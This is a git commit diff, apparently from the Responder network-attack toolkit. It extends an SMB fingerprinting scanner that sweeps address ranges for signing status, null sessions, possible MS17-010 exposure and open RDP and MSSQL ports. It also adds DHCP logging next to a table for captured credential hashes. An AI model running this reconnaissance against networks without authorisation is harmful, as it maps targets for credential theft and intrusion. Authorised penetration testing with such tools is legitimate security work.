SQL = IsServiceOn((host,1433))
|
||||||
|
print(("[SMB2]:['{}', Os:'{}', Build:'{}', Domain:'{}', Bootime: '{}', Signing:'{}', RDP:'{}', SMB1:'{}', MSSQL:'{}']".format(host, WindowsVers, str(WindowsBuildVers), Domain, Bootime, signing, RDP,SMB1, SQL)))
|
||||||
|
SaveRunFingerToDb({
|
||||||
|
'Protocol': '[SMB2]',
|
||||||
|
'Host': host,
|
||||||
|
'WindowsVersion': WindowsVers,
|
||||||
|
'OsVer': str(WindowsBuildVers),
|
||||||
|
'DomainJoined': Domain,
|
||||||
|
'Bootime': Bootime,
|
||||||
|
'Signing': signing,
|
||||||
|
'NullSess': 'N/A',
|
||||||
|
'IsRDPOn':RDP,
|
||||||
|
'SMB1': SMB1,
|
||||||
|
'MSSQL': SQL
|
||||||
|
})
|
||||||
|
|
||||||
def GetBootTime(data):
|
def GetBootTime(data):
|
||||||
data = data.encode('latin-1')
|
data = data.encode('latin-1')
|
||||||
@@ -151,15 +196,15 @@ def IsDCVuln(t, host):
|
|||||||
Date = datetime.datetime(2017, 3, 14, 0, 30)
|
Date = datetime.datetime(2017, 3, 14, 0, 30)
|
||||||
if t[0] < Date:
|
if t[0] < Date:
|
||||||
return("This system may be vulnerable to MS17-010")
|
return("This system may be vulnerable to MS17-010")
|
||||||
return("Last restart: "+t[1])
|
return(t[1])
|
||||||
|
|
||||||
#####################
|
#####################
|
||||||
|
|
||||||
def IsSigningEnabled(data):
|
def IsSigningEnabled(data):
|
||||||
if data[39] == "\x0f":
|
if data[39] == "\x0f":
|
||||||
return True
|
return 'True'
|
||||||
else:
|
else:
|
||||||
return False
|
return 'False'
|
||||||
|
|
||||||
def atod(a):
|
def atod(a):
|
||||||
return struct.unpack("!L",inet_aton(a))[0]
|
return struct.unpack("!L",inet_aton(a))[0]
|
||||||
@@ -192,14 +237,13 @@ def GetHostnameAndDomainName(data):
|
|||||||
Hostname = data[113:].decode('latin-1')
|
Hostname = data[113:].decode('latin-1')
|
||||||
return Hostname, DomainJoined
|
return Hostname, DomainJoined
|
||||||
except:
|
except:
|
||||||
pass
|
|
||||||
return "Could not get Hostname.", "Could not get Domain joined"
|
return "Could not get Hostname.", "Could not get Domain joined"
|
||||||
|
|
||||||
def DomainGrab(Host):
|
def DomainGrab(Host):
|
||||||
global SMB1
|
global SMB1
|
||||||
try:
|
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
s.settimeout(0.7)
|
s.settimeout(Timeout)
|
||||||
|
try:
|
||||||
s.connect(Host)
|
s.connect(Host)
|
||||||
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
|
h = SMBHeaderLanMan(cmd="\x72",mid="\x01\x00",flag1="\x00", flag2="\x00\x00")
|
||||||
n = SMBNegoDataLanMan()
|
n = SMBNegoDataLanMan()
|
||||||
@@ -212,18 +256,19 @@ def DomainGrab(Host):
|
|||||||
return GetHostnameAndDomainName(data)
|
return GetHostnameAndDomainName(data)
|
||||||
except IOError as e:
|
except IOError as e:
|
||||||
if e.errno == errno.ECONNRESET:
|
if e.errno == errno.ECONNRESET:
|
||||||
SMB1 = "Disabled"
|
SMB1 = "False"
|
||||||
return False
|
return False
|
||||||
else:
|
else:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
def SmbFinger(Host):
|
def SmbFinger(Host):
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
try:
|
|
||||||
s.settimeout(Timeout)
|
s.settimeout(Timeout)
|
||||||
|
try:
|
||||||
s.connect(Host)
|
s.connect(Host)
|
||||||
except:
|
except:
|
||||||
pass
|
pass
|
||||||
|
|
||||||
try:
|
try:
|
||||||
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
h = SMBHeader(cmd="\x72",flag1="\x18",flag2="\x53\xc8")
|
||||||
n = SMBNego(Data = SMBNegoData())
|
n = SMBNego(Data = SMBNegoData())
|
||||||
@@ -248,8 +293,8 @@ def SmbFinger(Host):
|
|||||||
|
|
||||||
def check_smb_null_session(host):
|
def check_smb_null_session(host):
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
try:
|
|
||||||
s.settimeout(Timeout)
|
s.settimeout(Timeout)
|
||||||
|
try:
|
||||||
s.connect(host)
|
s.connect(host)
|
||||||
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
|
h = SMBHeader(cmd="\x72",flag1="\x18", flag2="\x53\xc8")
|
||||||
n = SMBNego(Data = SMBNegoData())
|
n = SMBNego(Data = SMBNegoData())
|
||||||
@@ -283,9 +328,9 @@ def check_smb_null_session(host):
|
|||||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||||
data = s.recv(2048)
|
data = s.recv(2048)
|
||||||
if data[8:10] == b'\x75\x00':
|
if data[8:10] == b'\x75\x00':
|
||||||
return True
|
return 'True'
|
||||||
else:
|
else:
|
||||||
return False
|
return 'False'
|
||||||
except Exception:
|
except Exception:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
@@ -293,12 +338,10 @@ def check_smb_null_session(host):
|
|||||||
#SMB2 part:
|
#SMB2 part:
|
||||||
|
|
||||||
def ConnectAndChoseSMB(host):
|
def ConnectAndChoseSMB(host):
|
||||||
try:
|
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
s.settimeout(0.7)
|
s.settimeout(Timeout)
|
||||||
|
try:
|
||||||
s.connect(host)
|
s.connect(host)
|
||||||
except:
|
|
||||||
return None
|
|
||||||
h = SMBHeader(cmd="\x72",flag1="\x00")
|
h = SMBHeader(cmd="\x72",flag1="\x00")
|
||||||
n = SMBNego(Data = SMB2NegoData())
|
n = SMBNego(Data = SMB2NegoData())
|
||||||
n.calculate()
|
n.calculate()
|
||||||
@@ -306,6 +349,8 @@ def ConnectAndChoseSMB(host):
|
|||||||
buffer0 = longueur(packet0)+packet0
|
buffer0 = longueur(packet0)+packet0
|
||||||
s.send(NetworkSendBufferPython2or3(buffer0))
|
s.send(NetworkSendBufferPython2or3(buffer0))
|
||||||
data = s.recv(4096)
|
data = s.recv(4096)
|
||||||
|
except:
|
||||||
|
return False
|
||||||
if ParseNegotiateSMB2Ans(data):
|
if ParseNegotiateSMB2Ans(data):
|
||||||
try:
|
try:
|
||||||
while True:
|
while True:
|
||||||
@@ -344,65 +389,81 @@ def handle(data, host):
|
|||||||
ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing)
|
ParseSMBNTLM2Exchange(data, host[0], Bootime, SMB2signing)
|
||||||
|
|
||||||
##################
|
##################
|
||||||
#run it
|
|
||||||
def ShowResults(Host):
|
|
||||||
if ConnectAndChoseSMB((Host,445)) == False:
|
|
||||||
try:
|
|
||||||
Hostname, DomainJoined = DomainGrab((Host, 445))
|
|
||||||
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
|
|
||||||
NullSess = check_smb_null_session((Host, 445))
|
|
||||||
print(("Retrieving information for %s..."%(Host)))
|
|
||||||
print(("SMB signing: %s"%(Signing)))
|
|
||||||
print(("Null Sessions Allowed: %s"%(NullSess)))
|
|
||||||
print(("OS version: '%s'\nLanman Client: '%s'"%(OsVer, LanManClient)))
|
|
||||||
print(("Machine Hostname: '%s'\nThis machine is part of the '%s' domain"%(Hostname, DomainJoined)))
|
|
||||||
print(("RDP port open: '%s'\n"%(IsRDPOn((Host,3389)))))
|
|
||||||
except:
|
|
||||||
return False
|
|
||||||
|
|
||||||
|
|
||||||
def ShowSmallResults(Host):
|
def ShowSmallResults(Host):
|
||||||
if ConnectAndChoseSMB((Host,445)) == False:
|
if ConnectAndChoseSMB((Host,445)) == False:
|
||||||
try:
|
try:
|
||||||
Hostname, DomainJoined = DomainGrab((Host, 445))
|
Hostname, DomainJoined = DomainGrab((Host, 445))
|
||||||
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
|
Signing, OsVer, LanManClient = SmbFinger((Host, 445))
|
||||||
NullSess = check_smb_null_session((Host, 445))
|
NullSess = check_smb_null_session((Host, 445))
|
||||||
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,IsRDPOn((Host,3389)))))
|
RDP = IsServiceOn((Host,3389))
|
||||||
|
SQL = IsServiceOn((Host,1433))
|
||||||
|
print(("[SMB1]:['{}', Os:'{}', Domain:'{}', Signing:'{}', Null Session: '{}', RDP:'{}', MSSQL:'{}']".format(Host, OsVer, DomainJoined, Signing, NullSess,RDP, SQL)))
|
||||||
|
SaveRunFingerToDb({
|
||||||
|
'Protocol': '[SMB1]',
|
||||||
|
'Host': Host,
|
||||||
|
'WindowsVersion':OsVer,
|
||||||
|
'OsVer': OsVer,
|
||||||
|
'DomainJoined':DomainJoined,
|
||||||
|
'Bootime': 'N/A',
|
||||||
|
'Signing': Signing,
|
||||||
|
'NullSess': NullSess,
|
||||||
|
'IsRDPOn':RDP,
|
||||||
|
'SMB1': 'True',
|
||||||
|
'MSSQL': SQL
|
||||||
|
})
|
||||||
except:
|
except:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def IsRDPOn(Host):
|
def IsServiceOn(Host):
|
||||||
s = socket(AF_INET, SOCK_STREAM)
|
s = socket(AF_INET, SOCK_STREAM)
|
||||||
try:
|
|
||||||
s.settimeout(Timeout)
|
s.settimeout(Timeout)
|
||||||
|
try:
|
||||||
s.connect(Host)
|
s.connect(Host)
|
||||||
if s:
|
if s:
|
||||||
return True
|
return 'True'
|
||||||
else:
|
else:
|
||||||
return False
|
return 'False'
|
||||||
|
|
||||||
except Exception as err:
|
except Exception as err:
|
||||||
return False
|
return 'False'
|
||||||
|
|
||||||
|
|
||||||
def RunFinger(Host):
|
def RunFinger(Host):
|
||||||
|
if Filename != None:
|
||||||
|
with open(Filename) as fp:
|
||||||
|
Line = fp.read().splitlines()
|
||||||
|
for Ln in Line:
|
||||||
|
m = re.search("/", str(Ln))
|
||||||
|
if m:
|
||||||
|
net,_,mask = Ln.partition('/')
|
||||||
|
mask = int(mask)
|
||||||
|
net = atod(net)
|
||||||
|
threads = []
|
||||||
|
Pool = multiprocessing.Pool(processes=250)
|
||||||
|
func = ShowSmallResults
|
||||||
|
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||||
|
proc = Pool.apply_async(func, ((host),))
|
||||||
|
threads.append(proc)
|
||||||
|
for proc in threads:
|
||||||
|
proc.get()
|
||||||
|
else:
|
||||||
|
ShowSmallResults(Ln)
|
||||||
|
|
||||||
|
if Filename == None:
|
||||||
m = re.search("/", str(Host))
|
m = re.search("/", str(Host))
|
||||||
if m:
|
if m:
|
||||||
net,_,mask = Host.partition('/')
|
net,_,mask = Host.partition('/')
|
||||||
mask = int(mask)
|
mask = int(mask)
|
||||||
net = atod(net)
|
net = atod(net)
|
||||||
threads = []
|
threads = []
|
||||||
"""
|
Pool = multiprocessing.Pool(processes=250)
|
||||||
if options.grep_output:
|
|
||||||
func = ShowSmallResults
|
|
||||||
else:
|
|
||||||
func = ShowResults
|
|
||||||
"""
|
|
||||||
func = ShowSmallResults
|
func = ShowSmallResults
|
||||||
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
for host in (dtoa(net+n) for n in range(0, 1<<32-mask)):
|
||||||
p = multiprocessing.Process(target=func, args=((host),))
|
proc = Pool.apply_async(func, ((host),))
|
||||||
threads.append(p)
|
threads.append(proc)
|
||||||
p.start()
|
for proc in threads:
|
||||||
|
proc.get()
|
||||||
else:
|
else:
|
||||||
ShowSmallResults(Host)
|
ShowSmallResults(Host)
|
||||||
|
|
||||||
|
|||||||
36
utils.py
36
utils.py
@@ -128,6 +128,18 @@ def RespondWithIPAton():
|
|||||||
else:
|
else:
|
||||||
return settings.Config.IP_aton.decode('latin-1')
|
return settings.Config.IP_aton.decode('latin-1')
|
||||||
|
|
||||||
|
def RespondWithIP():
|
||||||
|
if settings.Config.PY2OR3 == "PY2":
|
||||||
|
if settings.Config.ExternalIP:
|
||||||
|
return settings.Config.ExternalIP
|
||||||
|
else:
|
||||||
|
return settings.Config.Bind_To
|
||||||
|
else:
|
||||||
|
if settings.Config.ExternalIP:
|
||||||
|
return settings.Config.ExternalIP
|
||||||
|
else:
|
||||||
|
return settings.Config.Bind_To
|
||||||
|
|
||||||
def OsInterfaceIsSupported():
|
def OsInterfaceIsSupported():
|
||||||
if settings.Config.Interface != "Not set":
|
if settings.Config.Interface != "Not set":
|
||||||
return not IsOsX()
|
return not IsOsX()
|
||||||
@@ -210,6 +222,8 @@ def CreateResponderDb():
|
|||||||
cursor.commit()
|
cursor.commit()
|
||||||
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
|
cursor.execute('CREATE TABLE responder (timestamp TEXT, module TEXT, type TEXT, client TEXT, hostname TEXT, user TEXT, cleartext TEXT, hash TEXT, fullhash TEXT)')
|
||||||
cursor.commit()
|
cursor.commit()
|
||||||
|
cursor.execute('CREATE TABLE DHCP (timestamp TEXT, MAC TEXT, IP TEXT, RequestedIP TEXT)')
|
||||||
|
cursor.commit()
|
||||||
cursor.close()
|
cursor.close()
|
||||||
|
|
||||||
def SaveToDb(result):
|
def SaveToDb(result):
|
||||||
@@ -305,6 +319,21 @@ def SavePoisonersToDb(result):
|
|||||||
|
|
||||||
cursor.close()
|
cursor.close()
|
||||||
|
|
||||||
|
def SaveDHCPToDb(result):
|
||||||
|
for k in [ 'MAC', 'IP', 'RequestedIP']:
|
||||||
|
if not k in result:
|
||||||
|
result[k] = ''
|
||||||
|
|
||||||
|
cursor = sqlite3.connect(settings.Config.DatabaseFile)
|
||||||
|
cursor.text_factory = sqlite3.Binary # We add a text factory to support different charsets
|
||||||
|
res = cursor.execute("SELECT COUNT(*) AS count FROM DHCP WHERE MAC=? AND IP=? AND RequestedIP=?", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||||
|
(count,) = res.fetchone()
|
||||||
|
|
||||||
|
if not count:
|
||||||
|
cursor.execute("INSERT INTO DHCP VALUES(datetime('now'), ?, ?, ?)", (result['MAC'], result['IP'], result['RequestedIP']))
|
||||||
|
cursor.commit()
|
||||||
|
|
||||||
|
cursor.close()
|
||||||
|
|
||||||
def Parse_IPV6_Addr(data):
|
def Parse_IPV6_Addr(data):
|
||||||
if data[len(data)-4:len(data)][1] ==b'\x1c':
|
if data[len(data)-4:len(data)][1] ==b'\x1c':
|
||||||
@@ -366,9 +395,10 @@ def StartupMessage():
|
|||||||
|
|
||||||
print('')
|
print('')
|
||||||
print(color("[+] ", 2, 1) + "Poisoners:")
|
print(color("[+] ", 2, 1) + "Poisoners:")
|
||||||
print(' %-27s' % "LLMNR" + enabled)
|
print(' %-27s' % "LLMNR" + (enabled if settings.Config.AnalyzeMode == False else disabled))
|
||||||
print(' %-27s' % "NBT-NS" + enabled)
|
print(' %-27s' % "NBT-NS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
|
||||||
print(' %-27s' % "DNS/MDNS" + enabled)
|
print(' %-27s' % "MDNS" + (enabled if settings.Config.AnalyzeMode == False else disabled))
|
||||||
|
print(' %-27s' % "DNS" + enabled)
|
||||||
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
|
print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled))
|
||||||
print('')
|
print('')
|
||||||
|
|
||||||
|
|||||||
Reference in New Issue
Block a user